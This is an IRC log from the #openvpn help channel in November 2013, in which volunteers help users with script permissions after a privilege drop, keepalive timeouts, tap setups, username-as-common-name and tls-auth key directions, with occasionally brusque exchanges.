15:07 < SamanthaD> I keep getting this error when trying to shut down my openvpn client: http://sprunge.us/FOgP
15:08 < SamanthaD> It's driving me nuts. I don't get why the exact same script can work just fine when called with 'up' and not with 'down'
15:09 <+pekster> SamanthaD: So don't revoke root permission. Optionally ignore the error
15:09 <+pekster> Unrelated, but also consider use of subnet topology; net30 is generally worthless (more info at !topology)
15:10 < SamanthaD> pekster: I can't ignore the error. The script does important things
15:10 < SamanthaD> !topology
15:10 <+pekster> Then ensure it can run properly as `nobody`
15:10 <@vpnHelper> "topology" is (#1) it is possible to avoid the !/30 behavior if you use 2.1+ with the option: topology subnet This will end up being default in later versions. or (#2) Clients will receive addresses ending in .2, .3, .4, etc, instead of being divided into 2-host subnets. or (#3) details and examples at: https://community.openvpn.net/openvpn/wiki/Topology
15:10 <+pekster> When you use --user and/or --group, you are responsible for script permissions after the UID/GID change
15:10 < SamanthaD> OH! I see what's happening!
15:11 < SamanthaD> thank you!
15:11 <+pekster> Yup. Either don't do that, or make according security arranagemnets (limited sudo access, setuid scripts, or something)
15:12 < SamanthaD> I think I might be able to move the "down" part of the script to a systemd service :3
15:12 <+pekster> There's a down-root plugin too you can look at
15:12 < SamanthaD> thank you so much, I've been tearing my hair out for hours
15:14 < SamanthaD> just tested. It works admirably
15:16 -!- nofks_ [~nofks@CPE-65-27-120-148.new.res.rr.com] has joined #openvpn
15:19 -!- nofks [~nofks@46.19.140.62] has quit [Ping timeout: 272 seconds]
15:30 -!- hirogen [~peeepp@94.15.161.107] has joined #openvpn
15:33 -!- FriedZombie [SilverNet@unaffiliated/friedzombie] has joined #openvpn
15:33 -!- FriedZombie [SilverNet@unaffiliated/friedzombie] has quit [Client Quit]
15:37 -!- SamanthaD [~SamanthaD@c-98-248-25-134.hsd1.ca.comcast.net] has quit [Ping timeout: 246 seconds]
15:46 -!- SamanthaD [~SamanthaD@199.254.238.218] has joined #openvpn
15:49 < SamanthaD> is this the right place to ask about setting up openresolv in such a way as to avoid DNS leaks in OpenVPN?
15:59 -!- SamanthaD [~SamanthaD@199.254.238.218] has quit [Ping timeout: 265 seconds]
16:06 -!- nofks [~nofks@209.222.18.43] has joined #openvpn
16:08 -!- nofks_ [~nofks@CPE-65-27-120-148.new.res.rr.com] has quit [Ping timeout: 272 seconds]
16:09 -!- hirogen [~peeepp@94.15.161.107] has quit [Ping timeout: 240 seconds]
16:11 -!- james41382 [~james@unaffiliated/james41382] has quit [Remote host closed the connection]
16:12 -!- james41382 [~james@unaffiliated/james41382] has joined #openvpn
16:13 -!- JackWinter_ [~jack@vodsl-4669.vo.lu] has joined #openvpn
16:15 -!- JackWinter [~jack@vodsl-4669.vo.lu] has quit [Ping timeout: 246 seconds]
16:19 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
16:31 -!- spiekey [~admin@dslb-188-109-084-025.pools.arcor-ip.net] has quit [Quit: spiekey]
16:33 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has joined #openvpn
16:33 -!- Aliekzhi [~Aliekzhi@79.140.116.78.rev.sfr.net] has joined #openvpn
16:34 < Aliekzhi> pekster, here are the logs I wanted to give you yesterday, without the RW :  http://bpaste.net/show/152695/
16:46 -!- dimm0k [~dimm0k@unaffiliated/dimm0k] has quit [Ping timeout: 272 seconds]
17:07 -!- james41382 [~james@unaffiliated/james41382] has quit [Quit: bb]
17:12 -!- dimm0k [~dimm0k@unaffiliated/dimm0k] has joined #openvpn
17:14 -!- ixio [~ixio2@host81-142-62-169.in-addr.btopenworld.com] has quit []
17:19 -!- james41382 [~james@unaffiliated/james41382] has joined #openvpn
17:23 -!- foobardeeb [~ma1com10t@host-92-20-11-49.as13285.net] has joined #openvpn
17:26 -!- dimm0k [~dimm0k@unaffiliated/dimm0k] has quit [Ping timeout: 246 seconds]
17:28 -!- james41382 [~james@unaffiliated/james41382] has quit [Remote host closed the connection]
17:31 -!- james41382 [~james@unaffiliated/james41382] has joined #openvpn
17:34 -!- dimm0k [~dimm0k@pool-72-80-89-149.nycmny.fios.verizon.net] has joined #openvpn
17:34 -!- dimm0k [~dimm0k@pool-72-80-89-149.nycmny.fios.verizon.net] has quit [Changing host]
17:34 -!- dimm0k [~dimm0k@unaffiliated/dimm0k] has joined #openvpn
17:34 -!- james41382 [~james@unaffiliated/james41382] has quit [Read error: Connection reset by peer]
17:36 -!- james41382 [~james@unaffiliated/james41382] has joined #openvpn
17:43 -!- james41382 [~james@unaffiliated/james41382] has quit [Quit: Leaving]
17:50 -!- hirogen [~peeepp@94.15.161.107] has joined #openvpn
17:53 -!- james41382 [~james@unaffiliated/james41382] has joined #openvpn
17:57 -!- speed_racer81 [~speed_rac@ip-173-45-222-229.wavevision.com] has quit [Read error: Connection reset by peer]
17:57 -!- speed_racer81 [~speed_rac@ip-173-45-222-229.wavevision.com] has joined #openvpn
18:09 -!- elfixit [~Icedove@77-58-33-129.dclient.hispeed.ch] has quit [Quit: elfixit]
18:09 -!- speed_racer81 [~speed_rac@ip-173-45-222-229.wavevision.com] has quit [Ping timeout: 252 seconds]
18:15 -!- foobardeeb [~ma1com10t@host-92-20-11-49.as13285.net] has left #openvpn []
18:19 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has quit [Read error: Connection reset by peer]
18:20 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has joined #openvpn
18:20 -!- codehero [codehero@irc.coding4coffee.org] has quit [Read error: Operation timed out]
18:20 -!- qwertyoruiop [~hax@1.shulgin.dc1.nl.tor.exit.node.qwertyoruiop.com] has quit [Read error: Operation timed out]
18:20 -!- mete [~mete@mete.shell.la] has quit [Read error: Operation timed out]
18:20 -!- fling [~fling@fsf/member/fling] has quit [Read error: Operation timed out]
18:20 -!- _br_ [~bjoern_fr@213-239-215-232.clients.your-server.de] has quit [Read error: Operation timed out]
18:21 -!- havoc [~havoc@neptune.chaillet.net] has quit [Read error: Operation timed out]
18:21 -!- havoc [~havoc@neptune.chaillet.net] has joined #openvpn
18:21 -!- fling [~fling@fsf/member/fling] has joined #openvpn
18:21 -!- _br_ [~bjoern_fr@213-239-215-232.clients.your-server.de] has joined #openvpn
18:21 -!- codehero [codehero@irc.coding4coffee.org] has joined #openvpn
18:21 -!- qwertyoruiop [~hax@1.shulgin.dc1.nl.tor.exit.node.qwertyoruiop.com] has joined #openvpn
18:24 -!- mete [~mete@mete.shell.la] has joined #openvpn
18:27 -!- hirogen [~peeepp@94.15.161.107] has quit [Ping timeout: 245 seconds]
18:32 -!- james41382 [~james@unaffiliated/james41382] has quit [Ping timeout: 246 seconds]
18:33 -!- elfixit [~Icedove@77-58-251-72.dclient.hispeed.ch] has joined #openvpn
18:43 <+pekster> Aliekzhi: much better. Lines 287 & 300 show ping-timeouts, so that client didn't send a keepalive packet in the required timeout period and was thus disconnected
18:47 < Aliekzhi> pekster, nice :)
18:47 < Aliekzhi> pekster, is there a way to change that timeout period ?
18:47 <+pekster> Read about --keepalive
18:48 <+pekster> Oh, factoid on that too:
18:48 <+pekster> !keepalive
18:48 <@vpnHelper> "keepalive" is (#1) see --keepalive in the manual for how to make clients retry connecting if they get disconnected. or (#2) basically it is a wrapper for managing --ping and --ping-restart in server/client mode or (#3) if you use this, don't use --tls-exit and also avoid --single-session and --inactive
18:49 < Aliekzhi> pekster, can also work with that option when launched from init.d ?
18:50 < Aliekzhi> pekster, I'm pretty sure I saw something like "keepalive 100" in a conf file somewhere.Is there an alternative way (adding some keepalive option to a conf file ?)
18:52 -!- eliasp [~quassel@HSI-KBW-134-3-243-224.hsi14.kabel-badenwuerttemberg.de] has joined #openvpn
18:53 -!- james41382 [~james@unaffiliated/james41382] has joined #openvpn
18:53 -!- bigbob83 [bigbob@7.72.100.84.rev.sfr.net] has quit []
18:54 <+pekster> Aliekzhi: All options to openvpn appear either at the CLI or a config file, or a combination of both. "last one wins" if you set it more than once (so best not to do that)
18:54 <+pekster> If you don't know how you're launching openvpn, you'd best figure that out first
18:57 < Aliekzhi> pekster, well if I can add it to a config file 1 time or having to do everytime a long command (or having to make a script), I prefer the config file way
19:07 -!- MyMind [~Sembei@unaffiliated/sembei] has joined #openvpn
19:07 -!- Sembei [~Sembei@unaffiliated/sembei] has quit [Excess Flood]
19:07 -!- mete [~mete@mete.shell.la] has quit [Ping timeout: 272 seconds]
19:07 -!- bytesaber [~bytesaber@174-126-75-160.cpe.cableone.net] has quit [Ping timeout: 272 seconds]
19:07 -!- bytesaber [~bytesaber@174-126-75-160.cpe.cableone.net] has joined #openvpn
19:09 -!- ePax [~ePax@unaffiliated/epax] has quit [Remote host closed the connection]
19:09 -!- mete [~mete@mete.shell.la] has joined #openvpn
19:13 -!- Cultist [~CultOfThe@c-24-12-53-28.hsd1.il.comcast.net] has quit [Ping timeout: 240 seconds]
19:32 -!- Cultist [~CultOfThe@c-24-12-53-28.hsd1.il.comcast.net] has joined #openvpn
19:36 -!- Cultist [~CultOfThe@c-24-12-53-28.hsd1.il.comcast.net] has quit [Read error: Connection reset by peer]
19:37 -!- Cultist [~CultOfThe@c-24-12-53-28.hsd1.il.comcast.net] has joined #openvpn
19:46 -!- MeanderingCode [~Meanderin@192.241.150.232] has quit [Ping timeout: 245 seconds]
20:12 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has joined #openvpn
20:20 -!- MeanderingCode [~Meanderin@palantir.aetherislands.net] has joined #openvpn
20:23 -!- elfixit [~Icedove@77-58-251-72.dclient.hispeed.ch] has quit [Quit: elfixit]
20:26 -!- MeanderingCode [~Meanderin@palantir.aetherislands.net] has quit [Ping timeout: 272 seconds]
20:29 -!- NP-Hardass [~adam@unaffiliated/np-hardass] has quit [Ping timeout: 240 seconds]
20:33 -!- ZAQfx [~x@unaffiliated/zaqfx] has joined #openvpn
20:33 -!- james41382 [~james@unaffiliated/james41382] has quit [Ping timeout: 264 seconds]
20:34 < ZAQfx> i'm having a problem connecting to openvpn on linux, i use: openvpn name.ovpn it says "v"
20:34 < ZAQfx> "Initialization Sequence Completed"
20:34 < ZAQfx> sorry*, but it isn't working at all
20:41 <+pekster> Sounds like it's working fine; your instance started up successfully if you got that message
20:41 <+pekster> !new
20:41 <@vpnHelper> "new" is New here? Start by reading the /TOPIC and looking at basic info in !welcome, !ask, and !howto
20:43 < ZAQfx> i suspected about the firewall, it doesn't work since i installed firestarter but i'd disable it and even clean the iptables rules, then also allowed the ip server on firestarter
20:43 < ZAQfx> but even that way don't work dunno why
20:45 <+pekster> "something is wrong." Maybe you'll find the resources I linked you to useful enough to supply useful details to get help. If not, good luck.
20:45 -!- namidark [~namidark@192.34.61.38] has quit [Ping timeout: 272 seconds]
20:46 < ZAQfx> !howto
20:46 <@vpnHelper> "howto" is (#1) OpenVPN comes with a great howto, http://openvpn.net/howto PLEASE READ IT! or (#2) http://www.secure-computing.net/openvpn/howto.php for a mirror
20:47 -!- namidark [~namidark@192.34.61.38] has joined #openvpn
20:51 < Aliekzhi> pekster, I'm still a bit confused beetweem "bridge" and "--server-bridge" because this page talks about br0 : http://openvpn.net/index.php/open-source/documentation/miscellaneous/76-ethernet-bridging.html
20:51 <@vpnHelper> Title: Ethernet Bridging (at openvpn.net)
20:53 -!- namidark [~namidark@192.34.61.38] has quit [Ping timeout: 264 seconds]
20:54 <+pekster> Aliekzhi: Don't bridge unless you need to (I forget if you need to or not, but almost always you don't.) It's more complex and requires OS/distro coordination to get right
20:55 < Aliekzhi> pekster, but If I understood your suggestion was using "--server-bridge" but not OS bridge right ? do you have examples of conf or guides to do that ?
21:00 -!- NP-Hardass [~adam@unaffiliated/np-hardass] has joined #openvpn
21:01 -!- namidark [~namidark@192.34.61.38] has joined #openvpn
21:03 <+pekster> No, neither
21:03 <+pekster> a stand-alone tap setup you shouldn't use either (was that your use-case?)
21:04 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit []
21:04 < Aliekzhi> pekster, gaming server.the apps needs broadcast to be able to see if a game is created or not
21:04 < Aliekzhi> pekster, and broadcast is L2, right ? => tap ?
21:05 <+pekster> Right, but so long as you plan to connect all the clients don't mess with bridging to a physical LAN
21:05 <+pekster> Just use tap by itself
21:05 <+pekster> No --server-bridge, no br0, no OS bridging, none of it
21:06 <+pekster> Your setup is going to be _identical_ to the !howto with `dev tap` instead of `dev tun`
21:06 < Aliekzhi> pekster, but with working tap config, I have to use that dirty rule I showed you with broadcast sended to tap
21:07 <+pekster> Then you software sucks
21:07 < Aliekzhi> pekster, would there be a more clean way of routing ?
21:07 <+pekster> I'm _not_ helping you fix it becuase as I described earlier that's painful and stupid
21:07 <+pekster> If you _really_ want, go "bridge everything" and suffer the consequences of a giant broadcast domain
21:08 < Aliekzhi> pekster, I already tried with bridge an still needed that rule with broadcast and tap0 XD
21:08 <+pekster> And you clearly had no clue what I described before
21:08 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has quit [Ping timeout: 245 seconds]
21:08 <+pekster> Becuase you would need _two_ bridges, one at _each_ end of your setup, the same range on both ends, and fancy firewall rules to stop the DHCP broadcasts from interfering
21:08 <+pekster> ie: far too complex for your skill level
21:09 < Aliekzhi> ok
21:09 <+pekster> Your application sucks and, to be very blunt, you lack the skills to so the insane things needed to "fix" it
21:09 < Aliekzhi> pekster, looking with tcpdump and creating appropriate rules may be a solution ?
21:09 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has joined #openvpn
21:09 <+pekster> Nope, and nothing to do with openvpn
21:10 <+pekster> I can't make this any more clear; your issue is with a crappy application that expects everything to be on a single broadcast domain
21:10 <+pekster> Your choice is to put it on a giant broadcast domain or not use it
21:11 < Aliekzhi> ok
21:12 < Aliekzhi> and for the problem I had with some kernels and openvpn it was a kernel related problem that I'll report
21:12 < Aliekzhi> (changes made in tun module)
21:12 <+pekster> Not from the logs you posted earlier, no
21:12 <+pekster> That's a simple keepalive timeout
21:13 < Aliekzhi> pekster, so why it does reproduce everytime with kernel >3.8 and never with 3.8 kernel ?
21:13 -!- WinstonSmith_ [~WinstonSm@bl14-116-58.dsl.telepac.pt] has joined #openvpn
21:13 <+pekster> Clearly something else changed. That has _zero_ to do with tun/tap at all becuase keepalive is sent over the TLS session
21:13 <+pekster> ie: no tun involved at all
21:14 <+pekster> I pointed you right to the relevant log lines; the server failed to get keepalive traffic from the client
21:14 -!- namidark [~namidark@192.34.61.38] has quit [Ping timeout: 252 seconds]
21:14 < Aliekzhi> pekster, so maybe there are 2 problems ? this one + the kernel one ?
21:15 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has quit [Ping timeout: 245 seconds]
21:15 <+pekster> Could be the client disconnected (you never shared those logs) but the reason of disconnect from the server is connection timeout. I told you this
21:15 <+pekster> What "kernel problem?" FFS
21:15 <+pekster> What is so hard to understand about this? The server disconnected the client when it failed to send any openvpn TLS keepalive packets in your timeout period
21:15 <+pekster> That's got nothing to do (directly anyway) with the kernel or the tun device
21:15 < Aliekzhi> pekster, but it doesn't happen with <3.9...
21:16 <+pekster> So?
21:16 < Aliekzhi> and always happen with >3.8
21:16 < Aliekzhi> pekster, that's why it looks kernel related
21:16 <+pekster> If it's a kernel problem you'd have a klog, presumably
21:16  * pekster shrugs
21:16 <+pekster> This really isn't openvpn related, and you ought to see why the client disconnected too
21:17 <+pekster> You need _BOTH_ logs to figure out a problem. Stop blaming things with your incomplete guesses
21:17 <+pekster> http://catb.org/~esr/faqs/smart-questions.html#symptoms
21:17 <@vpnHelper> Title: How To Ask Questions The Smart Way (at catb.org)
21:17 <+pekster> If you already know it's a "kernel problem" then go report it upstream
21:17 <+pekster> Stop wasting volunteer time here if you already know it's not openvpn
21:17 -!- namidark [~namidark@192.34.61.38] has joined #openvpn
21:17 <+pekster> If you don't, stop pretending you do
21:17 < Aliekzhi> pekster, it was not a question I was only telling you it was kernel related problem that's all
21:17 <+pekster> Wonderful. "not our problem" then
21:18 < Aliekzhi> pekster, only confirming that was not openvpn related
21:18 <+pekster> I have zero clue how you arrived at that conclustion without client logs, but good for you
21:19 < Aliekzhi> pekster, people should learn how to ask questions, but you should learn how to answer in a less aggressive way maybe
21:19 <+pekster> The irony here is that you didn't even realize why the server considered the session disconnected until I told you, so I have little faith in any of your troubleshooting skills, much less ones relating to kernel issues
21:20 <+pekster> Dude, you've been here how long now?
21:20 <+pekster> !logs
21:20 <@vpnHelper> "logs" is (#1) is please pastebin your logfiles from both client and server with verb set to 5 or (#2) In the Windows client(OpenVPN-GUI) right-click the status icon and pick View Log or (#3) In the OS X client(Tunnelblick) right-click it nd select Copy log text to clipboard or (#4) if you dont know how to find your logs, see !logfile
21:20 <+pekster> !configs
21:20 <@vpnHelper> "configs" is (#1) please pastebin your client and server configs (with comments removed, you can use `grep -vE '^#|^;|^$' server.conf`), also include which OS and version of openvpn. or (#2) dont forget to include any ccd entries or (#3) on pfSense, see http://www.secure-computing.net/wiki/index.php/OpenVPN/pfSense to obtain your config
21:20 <+pekster> ^ review that. Try harder to ask for help.
21:20 <+pekster> Stop spewing guesses. Maybe some else is willing to spend more time trying to help those who can't supply what we ask for in the /TOPIC, but I'm not it anymore
21:21 <+pekster> We get so many people who wander in here, fail to read, then blame us for "not being helpful." Tough.
21:21 < Aliekzhi> pekster, and that's not my fault if many people come
21:21 <+pekster> No, but your the problem since you need to be told several times to paste even the most basic things
21:22 < Aliekzhi> pekster, you mean you want kernel log ? but first you said it was out of topic so that's why I didn't post that log....
21:22 <+pekster> Tell you what; go put _all_ 4 things in those lists above on a gist.github.com post and I might take another look at it. verb 4 and configs with comments removed per the regex. Don't do that and I'm not spending more time on yet another case of "here's 1 of the 4 things I asked for."
21:23 <+pekster> FFS :(
21:23 <+pekster> The !configs and !logs I just posted above. Try reading them harder.
21:23 <+pekster> 2 files, from 2 ends. THat's 4 things. You gave me a single log
21:24 <+pekster> This is why I said, to quote, 21:20:18 <+pekster> ^ review that. Try harder to ask for help.
21:25 -!- MeanderingCode [~Meanderin@palantir.aetherislands.net] has joined #openvpn
21:26 < Aliekzhi> pekster, verb5 ? you told me to send logs with verb5 and use verb<=4.
21:26 -!- MeanderingCode [~Meanderin@palantir.aetherislands.net] has quit [Excess Flood]
21:26 <+pekster> I said verb 4 above
21:26 < Aliekzhi> pekster, bug !log says verb5
21:27 <+pekster> Then let's fix that now
21:27 <+pekster> !logs
21:27 <@vpnHelper> "logs" is (#1) is please pastebin your logfiles from both client and server with verb set to 5 or (#2) In the Windows client(OpenVPN-GUI) right-click the status icon and pick View Log or (#3) In the OS X client(Tunnelblick) right-click it nd select Copy log text to clipboard or (#4) if you dont know how to find your logs, see !logfile
21:28 <+pekster> !forget logs *
21:28 <@vpnHelper> Joo got it.
21:28 <+pekster> !learn logs as please pastebin your logfiles from both client and server with verb set to 4 (only use 5 if asked)
21:28 <@vpnHelper> Joo got it.
21:28 <+pekster> !learn logs as In the Windows client(OpenVPN-GUI) right-click the status icon and pick View Log
21:28 <@vpnHelper> Joo got it.
21:28 <+pekster> !learn logs as In the OS X client(Tunnelblick) right-click it and select Copy log text to clipboard
21:28 <@vpnHelper> Joo got it.
21:28 <+pekster> !learn logs as if you dont know how to find your logs, see !logfile
21:28 <@vpnHelper> Joo got it.
21:29 <+pekster> Aliekzhi: There. I also very clearly asked you personally to use verb 4
21:29 <+pekster> I'm pretty sure you're clever enough to figure out I might sometimes ask for things that are not _exactly_ what our programmed !factoids say. If you can't get that, you really out not to be the admin of a vpn
21:29 < Aliekzhi> pekster, yeah I got it, just was confused by the contradictions
21:30 < Aliekzhi> pekster, I don't have client logs yet
21:30 < Aliekzhi> pekster, and about OS info : gentoo 64 openvpn 2.3.2
21:31 <+pekster> Until you have the 4 elements, there's basically nothing that can be done to help you
21:31 <+pekster> "client stops responding." Why is anyone's guess. My crystal ball it out of service
21:31 < EugeneKay> The Last VPNbender
21:33  * pekster bends Class E space back into style
21:35 < Aliekzhi> pekster, then I'll come back another when I'll have clients logs
21:35 < Aliekzhi> another day)
21:38 -!- namidark [~namidark@192.34.61.38] has quit [Ping timeout: 246 seconds]
21:38 -!- Aliekzhi [~Aliekzhi@79.140.116.78.rev.sfr.net] has left #openvpn ["Leaving"]
21:41 -!- namidark [~namidark@192.34.61.38] has joined #openvpn
21:51 -!- MeanderingCode [~Meanderin@palantir.aetherislands.net] has joined #openvpn
21:56 -!- MeanderingCode [~Meanderin@palantir.aetherislands.net] has quit [Ping timeout: 272 seconds]
22:02 < heraclitus> the --client-connect script passes the common name and IP address of the just authenticated client as environmental variables. Is there any way to have it pass me the username used to authenticate?
22:04 <+pekster> heraclitus: username yes, but not the password; that's only available in the authentication script
22:04 < heraclitus> that's fine, I don't need the password
22:04 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has quit [Ping timeout: 246 seconds]
22:04 < heraclitus> how do I get it to pass me the username?
22:05 < heraclitus> I don't care so much about the IP address or common name :)
22:05 <+pekster> Ah, it'll be the common name then
22:05 <+pekster> Are you using 2-factor auth and the auth username doesn't match the X509 CN? If so, maybe what you really want is the --username-as-common-name
22:07 < heraclitus> so just use --username-as-common-name + --auth-user-pass-verify + --client-connect, and that will pass the username as common name to --client-connect?
22:07 <+pekster> Yup :)
22:07 < heraclitus> beautiful, love openvpn, an amazing creation
22:07 < heraclitus> thanks pekster
22:08 <+pekster> Yea, it's pretty flexible, but sometimes you just need a hint as to the right option (it's quite the manpage)
22:08 <+pekster> Note that if you use ccd files, that will be the username if you remap it as the common-name
22:10 < heraclitus> no ccd files, so I don't think that's an issue
22:17 -!- MeanderingCode [~Meanderin@palantir.aetherislands.net] has joined #openvpn
22:17 -!- MeanderingCode [~Meanderin@palantir.aetherislands.net] has quit [Excess Flood]
22:18 -!- MeanderingCode [~Meanderin@palantir.aetherislands.net] has joined #openvpn
22:27 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has joined #openvpn
22:31 -!- Semor [~Semor@218.106.182.104] has quit [Read error: Connection reset by peer]
22:31 -!- Semor [~Semor@218.106.182.104] has joined #openvpn
23:02 -!- nofks [~nofks@209.222.18.43] has quit [Remote host closed the connection]
23:36 -!- ZAQfx [~x@unaffiliated/zaqfx] has quit [Remote host closed the connection]
23:51 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has quit [Quit: Leaving]
--- Day changed Mon Nov 25 2013
00:18 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has joined #openvpn
00:32 -!- Carbon_Monoxide [~cmonxide@14.0.143.26] has joined #openvpn
00:33 -!- Carbon_Monoxide [~cmonxide@14.0.143.26] has left #openvpn []
00:33 -!- tempus_fol [~tempus@gateway/tor-sasl/tempusfol] has quit [Quit: Quit]
00:47 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
00:55 -!- lbft [~lbft@unaffiliated/lbft] has quit [Quit: Bye]
00:57 -!- lbft [~lbft@unaffiliated/lbft] has joined #openvpn
01:17 -!- svparijs_afk is now known as svparijs
01:22 -!- mikkel [~mikkel@80-199-146-42-static.dk.customer.tdc.net] has joined #openvpn
01:24 -!- krzee [~k@openvpn/community/support/krzee] has quit [Excess Flood]
01:25 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn
01:25 -!- mode/#openvpn [+o krzee] by ChanServ
01:27 -!- Carbon_Monoxide [~cmonxide@14.0.143.26] has joined #openvpn
01:27 -!- alexxtasi [~alex@unaffiliated/alexxtasi] has joined #openvpn
01:28 -!- Carbon_Monoxide [~cmonxide@14.0.143.26] has left #openvpn []
01:36 -!- bantu [~quassel@phpbb/developer/bantu] has left #openvpn []
01:53 -!- spiekey [~admin@dslb-188-109-084-025.pools.arcor-ip.net] has joined #openvpn
02:06 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has quit [Ping timeout: 245 seconds]
02:30 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 272 seconds]
02:35 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
02:36 -!- james41382 [~james@unaffiliated/james41382] has joined #openvpn
02:45 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 248 seconds]
02:51 -!- bioman [~bioman@aux89-3-83-157-129-185.fbx.proxad.net] has joined #openvpn
02:51 < bioman> Hello
02:53 < bioman> I have a question. I'm using this guide to create an OpenVPN between work PC (host, Win7 64) and home PC (server, Arch 64)
02:53 < bioman> https://wiki.archlinux.org/index.php/OpenVPN#Prerequisites%20for%20routing%20a%20LAN
02:53 <@vpnHelper> Title: OpenVPN - ArchWiki (at wiki.archlinux.org)
02:54 < bioman> Is the etc/sysctl.d/99-sysctl.conf tweaking stuff router part or client part ?
02:55 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
02:56 < bioman> Oh, sorry, it may be the client part : "For a host to be able to forward IPv4 packets between the LAN and VPN, it must be able to forward the packets between its NIC and its tun/tap device."
02:56 < bioman> So what's going on for my Win 64 host ?
03:50 -!- NP-Hardass [~adam@unaffiliated/np-hardass] has quit [Ping timeout: 246 seconds]
04:10 -!- Six6siX [~six6@jasmine1.sammybakar.com] has quit [Ping timeout: 246 seconds]
04:10 -!- Six6siX [~six6@jasmine1.sammybakar.com] has joined #openvpn
04:18 -!- andi [~andi@unaffiliated/fr00d] has left #openvpn []
04:28 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 272 seconds]
04:43 -!- JackWinter_ [~jack@vodsl-4669.vo.lu] has quit [Quit: Konversation terminated!]
04:45 -!- JackWinter [~jack@vodsl-4669.vo.lu] has joined #openvpn
05:27 -!- james41382 [~james@unaffiliated/james41382] has quit [Ping timeout: 272 seconds]
05:33 -!- TheCaptain2000 [~quassel@250.227.79.188.dynamic.jazztel.es] has joined #openvpn
05:44 -!- dazo_afk is now known as dazo
05:50 -!- calcifea [~rasla@gateway/tor-sasl/gitsu-sa] has quit [Ping timeout: 240 seconds]
05:50 -!- calcifea_ [~rasla@gateway/tor-sasl/gitsu-sa] has joined #openvpn
05:51 -!- |1li [~|1li@108-201-65-149.lightspeed.ftwotx.sbcglobal.net] has joined #openvpn
05:53 -!- |1li_ [~|1li@108-201-65-149.lightspeed.ftwotx.sbcglobal.net] has quit [Ping timeout: 272 seconds]
06:01 -!- elfixit [~Icedove@77-58-251-72.dclient.hispeed.ch] has joined #openvpn
06:08 -!- elfixit [~Icedove@77-58-251-72.dclient.hispeed.ch] has quit [Quit: elfixit]
06:18 -!- Cultist [~CultOfThe@c-24-12-53-28.hsd1.il.comcast.net] has quit [Read error: Connection reset by peer]
06:18 -!- Cultist_ [~CultOfThe@24.12.53.28] has joined #openvpn
06:25 -!- Cultist_ is now known as Cultist
06:25 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has quit [Ping timeout: 246 seconds]
06:27 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has joined #openvpn
06:28 -!- TheCaptain2000 [~quassel@250.227.79.188.dynamic.jazztel.es] has quit [Read error: No route to host]
06:28 -!- Jaska_ [~Q@dsl-olubrasgw1-54fb5c-179.dhcp.inet.fi] has quit [Ping timeout: 240 seconds]
06:35 -!- Denial [Denial@2.223.161.125] has joined #openvpn
06:47 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has joined #openvpn
07:12 < bioman> Hello, back again. I've finished configuring my Linux OpenVPN server. With a linux client, I can ping 10.8.0.1.
07:12 < bioman> The problem is that in windows 7 Pro 64, ping 10.8.0.1 fails.
07:12 < bioman> Have you an idea ?
07:18 < spiekey> bioman: look at the client logs
07:18 < spiekey> i guess you don't have permissions to set the route 10.8.0.0/24
07:19 < bioman> I have the error (Win 7) "TLS error: tls key negociation failed to occur within 60 seconds (check your network connectivity)
07:19 < spiekey> go to openvpn.exe and openvpn-gui.exe --> properties --> Compatibility and always run as admin
07:19 < spiekey> bioman: can you constantly ping google or something? is your internet connection okay?
07:21 < bioman> spiekey: my Internet connction is ok
07:21 < bioman> I can ping google
07:22 < spiekey> can you paste the full client log on pastebin or something?
07:23 < bioman> spiekey: tep, it's a win client log. A moment please...
07:23 < bioman> yep*
07:28 < bioman> postimg.org/image/z2nqa8l1f/full/
07:28 < bioman> spiekey: it's okay with my Arch client
07:30 < spiekey> hm…what does your server log say?
07:32 < bioman> http://ix.io/99b
07:34 < spiekey> its full of errors?!
07:34 < bioman> yep... dunno what's this...
07:35 < spiekey> it might be related to the problem ;)
07:35 < bioman> I guess ;)
07:35 < spiekey> compare your linux client config to the windows config again
07:35 < bioman> ok
07:35 < spiekey> i read something about "tls-auth is used in the local config"
07:35 < spiekey> but it does not ring a bell to me
07:36 < spiekey> but since it works with the linux client...
07:43 < bioman> spiekey: ok, found it : ta.key is used in the server : tls-auth /etc/openvpn/ta.key 0 sor I should set it in win7 to 1 but I just dunno how to...
07:44 < bioman> s/sor/so/
07:45 < spiekey> what does the line look on linux?
07:46 < spiekey> xy.key config line?!
07:46 < spiekey> can you paste the client and linux config on paste bin?
07:46 < bioman> spiekey: ok, a moment please
07:47 < bioman> beginning with Arch Server : http://ix.io/99d
07:48 < bioman> Win7 client : pastebin.com/B0R9zz3l
07:50 < spiekey> add "tls-auth tls.key 0" on server config, and "tls-auth tls.key 1" on client config.
07:50 < spiekey> looks good to me :-P
07:50 < bioman> spiekey: hey dude, it's done yet I think ?
07:51 < spiekey> he?
07:51 -!- AL13N_work [~alien@91.183.52.232] has joined #openvpn
07:51 < bioman> tls-auth ta.key 1
07:51 < bioman> done :)
07:51 < spiekey> yes
07:52 < bioman> win7 client part
